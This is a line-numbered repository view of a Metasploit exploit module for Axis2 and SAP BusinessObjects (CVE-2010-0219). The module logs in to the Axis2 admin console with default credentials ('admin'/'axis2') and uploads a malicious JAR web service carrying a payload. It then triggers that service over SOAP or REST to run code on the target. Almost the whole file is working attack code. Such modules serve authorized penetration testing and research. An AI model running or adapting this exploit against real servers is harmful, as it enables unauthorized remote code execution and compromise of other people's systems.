Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / multi / http / axis2_deployer.rb @ master

History | View | Annotate | Download (8.8 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12

    
13
require 'msf/core'
14

    
15

    
16
class Metasploit3 < Msf::Exploit::Remote
17
        Rank = ExcellentRanking
18

    
19
        HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }
20

    
21
        include Msf::Exploit::Remote::HttpClient
22

    
23
        def initialize(info = {})
24
                super(update_info(info,
25
                        'Name'          => 'Axis2 / SAP BusinessObjects Authenticated Code Execution (via SOAP)',
26
                        'Version'       => '$Revision$',
27
                        'Description'   => %q{
28
                                This module logs in to an Axis2 Web Admin Module instance using a specific user/pass
29
                                and uploads and executes commands via deploying a malicious web service by using SOAP.
30
                        },
31
                        'References' =>
32
                                [
33
                                        # General
34
                                        [ 'URL', 'http://www.rapid7.com/security-center/advisories/R7-0037.jsp' ],
35
                                        [ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ],
36
                                        [ 'CVE', '2010-0219' ],
37
                                ],
38
                        'Platform'      => [ 'java', 'win', 'linux' ], # others?
39
                        'Targets' =>
40
                                [
41
                                        [ 'Java', {
42
                                                        'Arch' => ARCH_JAVA,
43
                                                        'Platform' => 'java'
44
                                                },
45
                                        ],
46
                                        #
47
                                        # Platform specific targets only
48
                                        #
49
                                        [ 'Windows Universal',
50
                                                {
51
                                                        'Arch' => ARCH_X86,
52
                                                        'Platform' => 'win'
53
                                                },
54
                                        ],
55

    
56
                                        [ 'Linux X86',
57
                                                {
58
                                                        'Arch' => ARCH_X86,
59
                                                        'Platform' => 'linux'
60
                                                },
61
                                        ],
62
                                ],
63
                        'DefaultTarget'  => 0,
64
                        'DisclosureDate' => 'Dec 30 2010',
65
                        'Author'         => [ 'Joshua Abraham <jabra[at]rapid7.com>' ],
66
                        'License'        => MSF_LICENSE
67
                ))
68

    
69
                register_options(
70
                        [
71
                                Opt::RPORT(8080),
72
                                OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]),
73
                                OptString.new('PASSWORD', [ false, 'The password for the specified username','axis2' ]),
74
                                OptString.new('PATH', [ true,  "The URI path of the axis2 app (use /dswsbobje for SAP BusinessObjects)", '/axis2'])
75
                        ], self.class)
76
                register_autofilter_ports([ 8080 ])
77
        end
78

    
79
        def upload_exec(session,rpath)
80
                contents=''
81
                name = Rex::Text.rand_text_alpha(8)
82
                services_xml = %Q{
83
<service name="#{name}" scope="application">
84
        <description>
85
                #{Rex::Text.rand_text_alphanumeric(50 + rand(50))}
86
        </description>
87
        <messageReceivers>
88
                <messageReceiver
89
                        mep="http://www.w3.org/2004/08/wsdl/in-only"
90
                        class="org.apache.axis2.rpc.receivers.RPCInOnlyMessageReceiver"/>
91
                <messageReceiver
92
                        mep="http://www.w3.org/2004/08/wsdl/in-out"
93
                        class="org.apache.axis2.rpc.receivers.RPCMessageReceiver"/>
94
        </messageReceivers>
95
        <parameter name="ServiceClass">
96
                metasploit.PayloadServlet
97
        </parameter>
98
</service>
99
}
100
                if target.name =~ /Java/
101
                        zip = payload.encoded_jar
102
                        zip.add_file("META-INF/services.xml", services_xml)
103

    
104
                        # We need this class as a wrapper to run in a thread.  For some reason
105
                        # the Payload class is giving illegal access exceptions without it.
106
                        path = File.join(Msf::Config.install_root, "data", "java", "metasploit", "PayloadServlet.class")
107
                        fd = File.open(path, "rb")
108
                        servlet = fd.read(fd.stat.size)
109
                        fd.close
110
                        zip.add_file("metasploit/PayloadServlet.class", servlet)
111

    
112
                        contents = zip.pack
113
                else
114

    
115
                end
116

    
117
                boundary = rand_text_alphanumeric(6)
118

    
119
                data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"filename\"; "
120
                data << "filename=\"#{name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
121
                data << contents
122
                data << "\r\n--#{boundary}--"
123

    
124
                res = send_request_raw({
125
                        'uri'         => "/#{rpath}/axis2-admin/upload",
126
                        'method'  => 'POST',
127
                        'data'        => data,
128
                        'headers' =>
129
                        {
130
                                'Content-Type'   => 'multipart/form-data; boundary=' + boundary,
131
                                'Content-Length' => data.length,
132
                                'Cookie' => "JSESSIONID=#{session}",
133
                        }
134
                }, 25)
135

    
136
                if (res and res.code == 200)
137
                        print_status("Successfully uploaded")
138
                else
139
                        print_error("Error uploading #{res}")
140
                        return
141
                end
142
=begin
143
                res = send_request_raw({
144
                        'uri'        => "/#{datastore['PATH']}/axis2-web/HappyAxis.jsp",
145
                        'method'  => 'GET',
146
                        'headers' =>
147
                        {
148
                                'Cookie' => "JSESSIONID=#{session}",
149
                        }
150
                }, 25)
151
                puts res.body
152
                puts res.code
153
                if res.code > 200 and res.code < 300
154
                        if ( res.body.scan(/([A-Z] \Program Files\Apache Software Foundation\Tomcat \d.\d)/i) )
155
                                dir = $1.sub(/: /,':') + "\\webapps\\dswsbobje\\WEB-INF\\services\\"
156
                                puts dir
157
                        else
158
                                if ( a.scan(/catalina\.home<\/th><td style=".*">(.*)&nbsp;<\/td>/i) )
159
                                        dir = $1 + "/webapps/dswsbobje/WEB-INF/services/"
160
                                        puts dir
161
                                end
162
                        end
163
                end
164
=end
165

    
166

    
167
                print_status("Polling to see if the service is ready")
168

    
169
                res_rest = send_request_raw({
170
                        'uri'         => "/#{rpath}/services",
171
                        'method'  => 'GET',
172
                }, 25)
173

    
174
                soapenv='http://schemas.xmlsoap.org/soap/envelope/'
175
                xmlns='http://session.dsws.businessobjects.com/2007/06/01'
176
                xsi='http://www.w3.org/2001/XMLSchema-instance'
177

    
178
                data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
179
                data << '<soapenv:Envelope xmlns:soapenv="' +  soapenv + '"  xmlns:ns="' + xmlns + '">' + "\r\n"
180
                data << '<soapenv:Header/>' + "\r\n"
181
                data << '<soapenv:Body>' + "\r\n"
182
                data << '<soapenv:run/>' + "\r\n"
183
                data << '</soapenv:Body>' + "\r\n"
184
                data << '</soapenv:Envelope>' + "\r\n\r\n"
185

    
186
                p = /Please enable REST/
187
                1.upto 5 do
188
                        Rex::ThreadSafe.sleep(3)
189

    
190
                        if (res_rest and res_rest.code == 200 and res_rest.body.match(p) != nil)
191
                                # Try to execute the payload
192
                                res = send_request_raw({
193
                                        'uri'     => "/#{rpath}/services/#{name}",
194
                                        'method'  => 'POST',
195
                                        'data'    => data,
196
                                        'headers' =>
197
                                                {
198
                                                        'Content-Length' => data.length,
199
                                                        'SOAPAction'        => '"' + 'http://session.dsws.businessobjects.com/2007/06/01/run' + '"',
200
                                                        'Content-Type'  => 'text/xml; charset=UTF-8',
201
                                                }
202
                                }, 15)
203
                        else
204
                                ## rest
205
                                res = send_request_raw({
206
                                        'uri'     => "/#{rpath}/services/#{name}/run",
207
                                        'method'  => 'GET',
208
                                        'headers' =>
209
                                        {
210
                                                'cookie' => "jsessionid=#{session}",
211
                                        }
212
                                }, 25)
213
                        end
214

    
215
                        if res and res.code > 200 and res.code < 300
216
                                print_status("")
217
                                print_status("NOTE: You will need to delete the web service that was uploaded.")
218
                                print_status("Using meterpreter:")
219
                                print_status("rm \"webapps/#{rpath}/WEB-INF/services/#{name}.jar\"")
220
                                print_status("Using the shell:")
221
                                print_status("cd  \"webapps/#{rpath}/WEB-INF/services\"")
222
                                print_status("del #{name}.jar")
223
                                print_status("")
224
                                break
225
                        end
226

    
227
                end
228

    
229
        end
230

    
231
        def exploit
232
                user = datastore['USERNAME']
233
                pass = datastore['PASSWORD']
234
                rpath = datastore['PATH']
235
                success = false
236
                srvhdr = '?'
237
                begin
238
                        res = send_request_cgi(
239
                                {
240
                                        'method' => 'POST',
241
                                        'uri'        => "/#{rpath}/axis2-admin/login",
242
                                        'ctype'  => 'application/x-www-form-urlencoded',
243
                                        'data'   => "userName=#{user}&password=#{pass}&submit=+Login+",
244
                                }, 25)
245

    
246
                        if not (res.kind_of? Rex::Proto::Http::Response)
247
                                print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin not responding")
248
                        end
249

    
250
                        if res.code == 404
251
                                print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin returned code 404")
252
                        end
253

    
254
                        srvhdr = res.headers['Server']
255
                        if res.code == 200
256
                                # Could go with res.headers["Server"] =~ /Apache-Coyote/i
257
                                # as well but that seems like an element someone's more
258
                                # likely to change
259

    
260
                                success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)
261
                                if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/)
262
                                        session = $1
263
                                end
264
                        end
265

    
266
                rescue ::Rex::ConnectionError
267
                        print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin Unable to attempt authentication")
268
                end
269

    
270

    
271
                if not success and rpath != '/dswsbobje'
272
                        rpath = '/dswsbobje'
273
                        begin
274
                                res = send_request_cgi(
275
                                        {
276
                                                'method' => 'POST',
277
                                                'uri'        => "/#{rpath}/axis2-admin/login",
278
                                                'ctype'         => 'application/x-www-form-urlencoded',
279
                                                'data'         => "userName=#{user}&password=#{pass}&submit=+Login+",
280
                                        }, 25)
281

    
282
                                if not (res.kind_of? Rex::Proto::Http::Response)
283
                                        print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin not responding")
284
                                end
285

    
286
                                if res.code == 404
287
                                        print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin returned code 404")
288
                                end
289

    
290
                                srvhdr = res.headers['Server']
291
                                if res.code == 200
292
                                        # Could go with res.headers["Server"] =~ /Apache-Coyote/i
293
                                        # as well but that seems like an element someone's more
294
                                        # likely to change
295

    
296
                                        success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)
297
                                        if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/)
298
                                                session = $1
299
                                        end
300
                                end
301

    
302
                        rescue ::Rex::ConnectionError
303
                                print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin Unable to attempt authentication")
304
                        end
305
                end
306

    
307
                if success
308
                        print_good("http://#{rhost}:#{rport}/#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] successful login '#{user}' : '#{pass}'")
309
                        upload_exec(session,rpath)
310
                else
311
                        print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'")
312
                end
313
        end
314

    
315
end
316